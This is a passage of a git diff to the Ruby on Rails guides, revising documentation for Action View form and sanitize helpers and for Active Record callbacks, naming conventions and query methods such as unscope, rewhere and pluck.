<%= f.label :body, 'Body' %>:
- <%= f.text_area :body %><br />
+ <%= f.text_area :body %><br>
<% end %>
```
@@ -1006,6 +1006,24 @@ text_field(:post, :title)
# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
```
+#### email_field
+
+Returns an input tag of the "email" type tailored for accessing a specified attribute.
+
+```ruby
+email_field(:user, :email)
+# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" />
+```
+
+#### url_field
+
+Returns an input tag of the "url" type tailored for accessing a specified attribute.
+
+```ruby
+url_field(:user, :url)
+# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" />
+```
+
### FormOptionsHelper
Provides a number of methods for turning different kinds of containers into a set of option tags.
@@ -1125,7 +1143,7 @@ Returns a string of option tags for pretty much any country in the world.
#### country_select
-Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
#### option_groups_from_collection_for_select
@@ -1224,7 +1242,7 @@ Returns a string of option tags for pretty much any time zone in the world.
#### time_zone_select
-Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
+Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
```ruby
time_zone_select( "user", "time_zone")
@@ -1240,7 +1258,7 @@ date_field("user", "dob")
### FormTagHelper
-Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
#### check_box_tag
@@ -1267,7 +1285,7 @@ Creates a field set for grouping HTML form elements.
Creates a file upload field.
```html+erb
-<%= form_tag {action: "post"}, {multipart: true} do %>
+<%= form_tag({action:"post"}, multipart: true) do %>
<label for="file">File to Upload</label> <%= file_field_tag "file" %>
<%= submit_tag %>
<% end %>
@@ -1372,6 +1390,24 @@ text_field_tag 'name'
# => <input id="name" name="name" type="text" />
```
+#### email_field_tag
+
+Creates a standard input field of email type.
+
+```ruby
+email_field_tag 'email'
+# => <input id="email" name="email" type="email" />
+```
+
+#### url_field_tag
+
+Creates a standard input field of url type.
+
+```ruby
+url_field_tag 'url'
+# => <input id="url" name="url" type="url" />
+```
+
#### date_field_tag
Creates a standard input field of date type.
@@ -1456,7 +1492,7 @@ number_to_human_size(1234567) # => 1.2 MB
Formats a number as a percentage string.
```ruby
-number_to_percentage(100, :precision => 0) # => 100%
+number_to_percentage(100, precision: 0) # => 100%
```
#### number_to_phone
@@ -1484,94 +1520,102 @@ number_with_precision(111.2345) # => 111.235
number_with_precision(111.2345, 2) # => 111.23
```
-Localized Views
----------------
+### SanitizeHelper
-Action View has the ability render different templates depending on the current locale.
+The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
-For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+#### sanitize
-You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
+This sanitize helper will html encode all tags and strip all attributes that aren't specifically allowed.
-Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
+```ruby
+sanitize @article.body
+```
+
+If either the :attributes or :tags options are passed, only the mentioned tags and attributes are allowed and nothing else.
```ruby
-before_action :set_expert_locale
+sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
+```
-def set_expert_locale
- I18n.locale = :expert if current_user.expert?
+To change defaults for multiple uses, for example adding table tags to the default:
+
+```ruby
+class Application < Rails::Application
+ config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
end
```
-Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users.
+#### sanitize_css(style)
-You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
+Sanitizes a block of CSS code.
-Using Action View outside of Rails
-----------------------------------
+#### strip_links(html)
+Strips all link tags from text leaving just the link text.
-Action View is a Rails component, but it can also be used without Rails. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application.
+```ruby
+strip_links("<a href="http://rubyonrails.org">Ruby on Rails</a>")
+# => Ruby on Rails
+```
-Let's start by ensuring that you have the Action Pack and Rack gems installed:
+```ruby
+strip_links("emails to <a href="mailto:me@email.com">me@email.com</a>.")
+# => emails to me@email.com.
+```
-```bash
-$ gem install actionpack
-$ gem install rack
+```ruby
+strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
+# => Blog: Visit.
```
-Now we'll create a simple "Hello World" application that uses the `titleize` method provided by Active Support.
+#### strip_tags(html)
-**hello_world.rb:**
+Strips all HTML tags from the html, including comments.
+This uses the html-scanner tokenizer and so its HTML parsing ability is limited by that of html-scanner.
```ruby
-require 'active_support/core_ext/string/inflections'
-require 'rack'
-
-def hello_world(env)
- [200, {"Content-Type" => "text/html"}, "hello world".titleize]
-end
+strip_tags("Strip <i>these</i> tags!")
+# => Strip these tags!
+```
-Rack::Handler::Mongrel.run method(:hello_world), Port: 4567
+```ruby
+strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</a>")
+# => Bold no more! See more
```
-We can see this all come together by starting up the application and then visiting `http://localhost:4567/`
+NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers.
-```bash
-$ ruby hello_world.rb
-```
+### CsrfHelper
-TODO needs a screenshot? I have one - not sure where to put it.
+Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
+request forgery protection parameter and token, respectively.
+
+```html
+<%= csrf_meta_tags %>
+```
-Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method.
+NOTE: Regular forms generate hidden fields so they do not use these tags. More
+details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf).
-Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way.
+Localized Views
+---------------
-Let's start by ensuring that you have the Action Pack and Sinatra gems installed:
+Action View has the ability render different templates depending on the current locale.
-```bash
-$ gem install actionpack
-$ gem install sinatra
-```
+For example, suppose you have a `PostsController` with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
-Now we'll create the same "Hello World" application in Sinatra.
+You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
-**hello_world.rb:**
+Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
```ruby
-require 'action_view'
-require 'sinatra'
+before_action :set_expert_locale
-get '/' do
- erb 'hello world'.titleize
+def set_expert_locale
+ I18n.locale = :expert if current_user.expert?
end
```
-Then, we can run the application:
-
-```bash
-$ ruby hello_world.rb
-```
-
-Once the application is running, you can see Sinatra and Action View working together by visiting `http://localhost:4567/`
+Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users.
-TODO needs a screenshot? I have one - not sure where to put it.
+You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
index 1d87646e49..0019d08328 100644
--- a/guides/source/active_model_basics.md
+++ b/guides/source/active_model_basics.md
@@ -120,8 +120,8 @@ class Person
end
def save
- @previously_changed = changes
# do save work...
+ changes_applied
end
end
```
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
index 1f25c6ae95..a184f0753d 100644
--- a/guides/source/active_record_basics.md
+++ b/guides/source/active_record_basics.md
@@ -48,10 +48,10 @@ overall database access code.
Active Record gives us several mechanisms, the most important being the ability
to:
-* Represent models and their data
-* Represent associations between these models
-* Represent inheritance hierarchies through related models
-* Validate models before they get persisted to the database
+* Represent models and their data.
+* Represent associations between these models.
+* Represent inheritance hierarchies through related models.
+* Validate models before they get persisted to the database.
* Perform database operations in an object-oriented fashion.
Convention over Configuration in Active Record
@@ -78,15 +78,15 @@ of two or more words, the model class name should follow the Ruby conventions,
using the CamelCase form, while the table name must contain the words separated
by underscores. Examples:
-* Database Table - Plural with underscores separating words (e.g., `book_clubs`)
+* Database Table - Plural with underscores separating words (e.g., `book_clubs`).
* Model Class - Singular with the first letter of each word capitalized (e.g.,
-`BookClub`)
+`BookClub`).
| Model / Class | Table / Schema |
| ------------- | -------------- |
| `Post` | `posts` |
| `LineItem` | `line_items` |
-| `Deer` | `deer` |
+| `Deer` | `deers` |
| `Mouse` | `mice` |
| `Person` | `people` |
@@ -101,11 +101,11 @@ depending on the purpose of these columns.
fields that Active Record will look for when you create associations between
your models.
* **Primary keys** - By default, Active Record will use an integer column named
- `id` as the table's primary key. When using [Rails
+ `id` as the table's primary key. When using [Active Record
Migrations](migrations.html) to create your tables, this column will be
automatically created.
-There are also some optional column names that will create additional features
+There are also some optional column names that will add additional features
to Active Record instances:
* `created_at` - Automatically gets set to the current date and time when the
@@ -116,7 +116,7 @@ to Active Record instances:
locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to
a model.
* `type` - Specifies that the model uses [Single Table
- Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html)
+ Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#label-Single+table+inheritance).
* `(association_name)_type` - Stores the type for
[polymorphic associations](association_basics.html#polymorphic-associations).
* `(table_name)_count` - Used to cache the number of belonging objects on
@@ -181,18 +181,18 @@ definition:
```ruby
class FunnyJoke < ActiveSupport::TestCase
- set_fixture_class funny_jokes: 'Joke'
+ set_fixture_class funny_jokes: Joke
fixtures :funny_jokes
...
end
```
It's also possible to override the column that should be used as the table's
-primary key using the `ActiveRecord::Base.set_primary_key` method:
+primary key using the `ActiveRecord::Base.primary_key=` method:
```ruby
class Product < ActiveRecord::Base
- set_primary_key "product_id"
+ self.primary_key = "product_id"
end
```
@@ -253,7 +253,7 @@ user = User.first
```ruby
# return the first user named David
-david = User.find_by_name('David')
+david = User.find_by(name: 'David')
```
```ruby
@@ -270,7 +270,7 @@ Once an Active Record object has been retrieved, its attributes can be modified
and it can be saved to the database.
```ruby
-user = User.find_by_name('David')
+user = User.find_by(name: 'David')
user.name = 'Dave'
user.save
```
@@ -279,7 +279,7 @@ A shorthand for this is to use a hash mapping attribute names to the desired
value, like so:
```ruby
-user = User.find_by_name('David')
+user = User.find_by(name: 'David')
user.update(name: 'Dave')
```
@@ -297,7 +297,7 @@ Likewise, once retrieved an Active Record object can be destroyed which removes
it from the database.
```ruby
-user = User.find_by_name('David')
+user = User.find_by(name: 'David')
user.destroy
```
@@ -343,7 +343,7 @@ Migrations
Rails provides a domain-specific language for managing a database schema called
migrations. Migrations are stored in files which are executed against any
-database that Active Record support using `rake`. Here's a migration that
+database that Active Record supports using `rake`. Here's a migration that
creates a table:
```ruby
@@ -368,6 +368,6 @@ Rails keeps track of which files have been committed to the database and
provides rollback features. To actually create the table, you'd run `rake db:migrate`
and to roll it back, `rake db:rollback`.
-Note that the above code is database-agnostic: it will run in MySQL, postgresql,
-Oracle and others. You can learn more about migrations in the [Active Record
-Migrations guide](migrations.html)
+Note that the above code is database-agnostic: it will run in MySQL,
+PostgreSQL, Oracle and others. You can learn more about migrations in the
+[Active Record Migrations guide](migrations.html).
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
index bb42fab101..fbcce325ed 100644
--- a/guides/source/active_record_callbacks.md
+++ b/guides/source/active_record_callbacks.md
@@ -35,11 +35,11 @@ class User < ActiveRecord::Base
before_validation :ensure_login_has_a_value
protected
- def ensure_login_has_a_value
- if login.nil?
- self.login = email unless email.blank?
+ def ensure_login_has_a_value
+ if login.nil?
+ self.login = email unless email.blank?
+ end
end
- end
end
```
@@ -49,13 +49,13 @@ The macro-style class methods can also receive a block. Consider using this styl
class User < ActiveRecord::Base
validates :login, :email, presence: true
- before_create do |user|
- user.name = user.login.capitalize if user.name.blank?
+ before_create do
+ self.name = login.capitalize if name.blank?
end
end
```
-Callbacks can also be registered to only fire on certain lifecycle events:
+Callbacks can also be registered to only fire on certain life cycle events:
```ruby
class User < ActiveRecord::Base
@@ -65,13 +65,13 @@ class User < ActiveRecord::Base
after_validation :set_location, on: [ :create, :update ]
protected
- def normalize_name
- self.name = self.name.downcase.titleize
- end
+ def normalize_name
+ self.name = self.name.downcase.titleize
+ end
- def set_location
- self.location = LocationService.query(self)
- end
+ def set_location
+ self.location = LocationService.query(self)
+ end
end
```
@@ -92,6 +92,7 @@ Here is a list with all the available Active Record callbacks, listed in the sam
* `around_create`
* `after_create`
* `after_save`
+* `after_commit/after_rollback`
### Updating an Object
@@ -103,12 +104,14 @@ Here is a list with all the available Active Record callbacks, listed in the sam
* `around_update`
* `after_update`
* `after_save`
+* `after_commit/after_rollback`
### Destroying an Object
* `before_destroy`
* `around_destroy`
* `after_destroy`
+* `after_commit/after_rollback`
WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
@@ -141,6 +144,55 @@ You have initialized an object!
=> #<User id: 1>
```
+### `after_touch`
+
+The `after_touch` callback will be called whenever an Active Record object is touched.
+
+```ruby
+class User < ActiveRecord::Base
+ after_touch do |user|
+ puts "You have touched an object"
+ end
+end
+
+>> u = User.create(name: 'Kuldeep')
+=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
+
+>> u.touch
+You have touched an object
+=> true
+```
+
+It can be used along with `belongs_to`:
+
+```ruby
+class Employee < ActiveRecord::Base
+ belongs_to :company, touch: true
+ after_touch do
+ puts 'An Employee was touched'
+ end
+end
+
+class Company < ActiveRecord::Base
+ has_many :employees
+ after_touch :log_when_employees_or_company_touched
+
+ private
+ def log_when_employees_or_company_touched
+ puts 'Employee/Company was touched'
+ end
+end
+
+>> @employee = Employee.last
+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+
+# triggers @employee.company.touch
+>> @employee.touch
+Employee/Company was touched
+An Employee was touched
+=> true
+```
+
Running Callbacks
-----------------
@@ -167,6 +219,7 @@ Additionally, the `after_find` callback is triggered by the following finder met
* `all`
* `first`
* `find`
+* `find_by`
* `find_by_*`
* `find_by_*!`
* `find_by_sql`
@@ -179,7 +232,7 @@ NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated aut
Skipping Callbacks
------------------
-Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+Just as with validations, it is also possible to skip callbacks by using the following methods:
* `decrement`
* `decrement_counter`
@@ -194,6 +247,8 @@ Just as with validations, it is also possible to skip callbacks. These methods s
* `update_all`
* `update_counters`
+These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+
Halting Execution
-----------------
@@ -201,7 +256,7 @@ As you start registering new callbacks for your models, they will be queued for
The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception.
-WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+WARNING. Any exception that is not `ActiveRecord::Rollback` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception.
Relational Callbacks
--------------------
@@ -287,7 +342,7 @@ Here's an example where we create a class with an `after_destroy` callback for a
```ruby
class PictureFileCallbacks
def after_destroy(picture_file)
- if File.exists?(picture_file.filepath)
+ if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
@@ -307,7 +362,7 @@ Note that we needed to instantiate a new `PictureFileCallbacks` object, since we
```ruby
class PictureFileCallbacks
def self.after_destroy(picture_file)
- if File.exists?(picture_file.filepath)
+ if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
@@ -342,7 +397,7 @@ By using the `after_commit` callback we can account for this case.
```ruby
class PictureFile < ActiveRecord::Base
- after_commit :delete_picture_file_from_disk, :on => [:destroy]
+ after_commit :delete_picture_file_from_disk, on: [:destroy]
def delete_picture_file_from_disk
if File.exist?(filepath)
@@ -355,4 +410,4 @@ end
NOTE: the `:on` option specifies when a callback will be fired. If you
don't supply the `:on` option the callback will fire for every action.
-The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
+WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
index 407e779f9f..2a76df156c 100644
--- a/guides/source/active_record_querying.md
+++ b/guides/source/active_record_querying.md
@@ -436,7 +436,7 @@ to this code:
Client.where("orders_count = #{params[:orders]}")
```
-because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
@@ -473,7 +473,7 @@ In the case of a belongs_to relationship, an association key can be used to spec
```ruby
Post.where(author: author)
-Author.joins(:posts).where(posts: {author: author})
+Author.joins(:posts).where(posts: { author: author })
```
NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`.
@@ -524,12 +524,18 @@ To retrieve records from the database in a specific order, you can use the `orde
For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:
```ruby
+Client.order(:created_at)
+# OR
Client.order("created_at")
```
You could specify `ASC` or `DESC` as well:
```ruby
+Client.order(created_at: :desc)
+# OR
+Client.order(created_at: :asc)
+# OR
Client.order("created_at DESC")
# OR
Client.order("created_at ASC")
@@ -538,16 +544,20 @@ Client.order("created_at ASC")
Or ordering by multiple fields:
```ruby
+Client.order(orders_count: :asc, created_at: :desc)
+# OR
+Client.order(:orders_count, created_at: :desc)
+# OR
Client.order("orders_count ASC, created_at DESC")
# OR
Client.order("orders_count ASC", "created_at DESC")
```
-If you want to call `order` multiple times e.g. in different context, new order will prepend previous one
+If you want to call `order` multiple times e.g. in different context, new order will append previous one
```ruby
Client.order("orders_count ASC").order("created_at DESC")
-# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC
+# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC
```
Selecting Specific Fields
@@ -675,9 +685,9 @@ This will return single order objects for each day, but only those that are orde
Overriding Conditions
---------------------
-### `except`
+### `unscope`
-You can specify certain conditions to be excepted by using the `except` method. For example:
+You can specify certain conditions to be removed using the `unscope` method. For example:
```ruby
Post.where('id > 10').limit(20).order('id asc').except(:order)
@@ -688,30 +698,24 @@ The SQL that would be executed:
```sql
SELECT * FROM posts WHERE id > 10 LIMIT 20
-# Original query without `except`
+# Original query without `unscope`
SELECT * FROM posts WHERE id > 10 ORDER BY id asc LIMIT 20
```
-### `unscope`
-
-The `except` method does not work when the relation is merged. For example:
-
-```ruby
-Post.comments.except(:order)
-```
-
-will still have an order if the order comes from a default scope on Comment. In order to remove all ordering, even from relations which are merged in, use unscope as follows:
+You can additionally unscope specific where clauses. For example:
```ruby
-Post.order('id DESC').limit(20).unscope(:order) = Post.limit(20)
-Post.order('id DESC').limit(20).unscope(:order, :limit) = Post.all
+Post.where(id: 10, trashed: false).unscope(where: :id)
+# SELECT "posts".* FROM "posts" WHERE trashed = 0
```
-You can additionally unscope specific where clauses. For example:
+A relation which has used `unscope` will affect any relation it is
+merged in to:
```ruby
-Post.where(:id => 10).limit(1).unscope(where: :id, :limit).order('id DESC') = Post.order('id DESC')
+Post.order('id asc').merge(Post.unscope(:order))
+# SELECT "posts".* FROM "posts"
```
### `only`
@@ -786,6 +790,32 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
This method accepts **no** arguments.
+### `rewhere`
+
+The `rewhere` method overrides an existing, named where condition. For example:
+
+```ruby
+Post.where(trashed: true).rewhere(trashed: false)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE `trashed` = 0
+```
+
+In case the `rewhere` clause is not used,
+
+```ruby
+Post.where(trashed: true).where(trashed: false)
+```
+
+the SQL executed would be:
+
+```sql
+SELECT * FROM posts WHERE `trashed` = 1 AND `trashed` = 0
+```
+
Null Relation
-------------
@@ -931,9 +961,9 @@ SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id =
WARNING: This method only works with `INNER JOIN`.
-Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.
+Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clauses for those associations when using the `joins` method.
-For example, consider the following `Category`, `Post`, `Comments` and `Guest` models:
+For example, consider the following `Category`, `Post`, `Comment`, `Guest` and `Tag` models:
```ruby
class Category < ActiveRecord::Base
@@ -1012,7 +1042,7 @@ Or, in English: "return all posts that have a comment made by a guest."
#### Joining Nested Associations (Multiple Level)
```ruby
-Category.joins(posts: [{comments: :guest}, :tags])
+Category.joins(posts: [{ comments: :guest }, :tags])
```
This produces:
@@ -1038,7 +1068,7 @@ An alternative and cleaner syntax is to nest the hash conditions:
```ruby
time_range = (Time.now.midnight - 1.day)..Time.now.midnight
-Client.joins(:orders).where(orders: {created_at: time_range})
+Client.joins(:orders).where(orders: { created_at: time_range })
```
This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
@@ -1099,7 +1129,7 @@ This loads all the posts and the associated category and comments for each post.
#### Nested Associations Hash
```ruby
-Category.includes(posts: [{comments: :guest}, :tags]).find(1)
+Category.includes(posts: [{ comments: :guest }, :tags]).find(1)
```
This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
@@ -1179,7 +1209,7 @@ class Post < ActiveRecord::Base
end
```
-This may then be called using this:
+Call the scope as if it were a class method:
```ruby
Post.created_before(Time.zone.now)
@@ -1201,6 +1231,35 @@ Using a class method is the preferred way to accept arguments for scopes. These
category.posts.created_before(time)
```
+### Applying a default scope
+
+If we wish for a scope to be applied across all queries to the model we can use the
+`default_scope` method within the model itself.
+
+```ruby
+class Client < ActiveRecord::Base
+ default_scope { where("removed_at IS NULL") }
+end
+```
+
+When queries are executed on this model, the SQL query will now look something like
+this:
+
+```sql
+SELECT * FROM clients WHERE removed_at IS NULL
+```
+
+If you need to do more complex things with a default scope, you can alternatively
+define it as a class method:
+
+```ruby
+class Client < ActiveRecord::Base
+ def self.default_scope
+ # Should return an ActiveRecord::Relation.
+ end
+end
+```
+
### Merging of scopes
Just like `where` clauses scopes are merged using `AND` conditions.
@@ -1210,30 +1269,28 @@ class User < ActiveRecord::Base
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end
-```
-```ruby
User.active.inactive
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
```
We can mix and match `scope` and `where` conditions and the final sql
-will have all conditions joined with `AND` .
+will have all conditions joined with `AND`.
```ruby
User.active.where(state: 'finished')
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
```
If we do want the `last where clause` to win then `Relation#merge` can
-be used .
+be used.
```ruby
User.active.merge(User.inactive)
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
```
-One important caveat is that `default_scope` will be overridden by
+One important caveat is that `default_scope` will be prepended in
`scope` and `where` conditions.
```ruby
@@ -1244,48 +1301,18 @@ class User < ActiveRecord::Base
end
User.all
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
User.active
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
User.where(state: 'inactive')
-# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
```
-As you can see above the `default_scope` is being overridden by both
+As you can see above the `default_scope` is being merged in both
`scope` and `where` conditions.
-
-### Applying a default scope
-
-If we wish for a scope to be applied across all queries to the model we can use the
-`default_scope` method within the model itself.
-
-```ruby
-class Client < ActiveRecord::Base
- default_scope { where("removed_at IS NULL") }
-end
-```
-
-When queries are executed on this model, the SQL query will now look something like
-this:
-
-```sql
-SELECT * FROM clients WHERE removed_at IS NULL
-```
-
-If you need to do more complex things with a default scope, you can alternatively
-define it as a class method:
-
-```ruby
-class Client < ActiveRecord::Base
- def self.default_scope
- # Should return an ActiveRecord::Relation.
- end
-end
-```
-
### Removing All Scoping
If we wish to remove scoping for any reason we can use the `unscoped` method. This is
@@ -1293,7 +1320,7 @@ especially useful if a `default_scope` is specified in the model and should not
applied for this particular query.
```ruby
-Client.unscoped.all
+Client.unscoped.load
```
This method removes all scoping and will do a normal query on the table.
@@ -1310,11 +1337,6 @@ Client.unscoped {
Dynamic Finders
---------------
-NOTE: Dynamic finders have been deprecated in Rails 4.0 and will be
-removed in Rails 4.1. The best practice is to use Active Record scopes
-instead. You can find the deprecation gem at
-https://github.com/rails/activerecord-deprecated_finders
-
For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods.
You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
@@ -1324,6 +1346,11 @@ If you want to find both by name and locked, you can chain these finders togethe
Find or Build a New Object
--------------------------
+NOTE: Some dynamic finders have been deprecated in Rails 4.0 and will be
+removed in Rails 4.1. The best practice is to use Active Record scopes
+instead. You can find the deprecation gem at
+https://github.com/rails/activerecord-deprecated_finders
+
It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods.
### `find_or_create_by`
@@ -1350,7 +1377,7 @@ COMMIT
The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).
-Suppose we want to set the 'locked' attribute to true if we're
+Suppose we want to set the 'locked' attribute to `false` if we're
creating a new record, but we don't want to include it in the query. So
we want to find the client named "Andy", or if that client doesn't
exist, create a client named "Andy" which is not locked.
@@ -1427,7 +1454,7 @@ If you'd like to use your own SQL to find records in a table you can use `find_b
```ruby
Client.find_by_sql("SELECT * FROM clients
INNER JOIN orders ON clients.id = orders.client_id
- ORDER clients.created_at desc")
+ ORDER BY clients.created_at desc")
```
`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
@@ -1458,7 +1485,7 @@ Client.pluck(:id, :name)
# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
```
-`pluck` makes it possible to replace code like
+`pluck` makes it possible to replace code like:
```ruby
Client.select(:id).map { |c| c.id }
@@ -1468,7 +1495,7 @@ Client.select(:id).map(&:id)
Client.select(:id, :name).map { |c| [c.id, c.name] }
```
-with
+with:
```ruby
Client.pluck(:id)
@@ -1476,6 +1503,37 @@ Client.pluck(:id)
Client.pluck(:id, :name)
```
+Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`,
+without constructing `ActiveRecord` objects. This can mean better performance for
+a large or often-running query. However, any model method overrides will
+not be available. For example:
+
+```ruby
+class Client < ActiveRecord::Base
+ def name
+ "I am #{super}"
+ end
+end
+
+Client.select(:name).map &:name
+# => ["I am David", "I am Jeremy", "I am Jose"]
+
+Client.pluck(:name)
+# => ["David", "Jeremy", "Jose"]
+```
+
+Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate
+query, and thus cannot be chained with any further scopes, although it can work with
+scopes already constructed earlier:
+
+```ruby
+Client.pluck(:name).limit(1)
+# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8>
+
+Client.limit(1).pluck(:name)
+# => ["David"]
+```
+
### `ids`
`ids` can be used to pluck all the IDs for the relation using the table's primary key.
@@ -1497,18 +1555,21 @@ Person.ids
Existence of Objects
--------------------
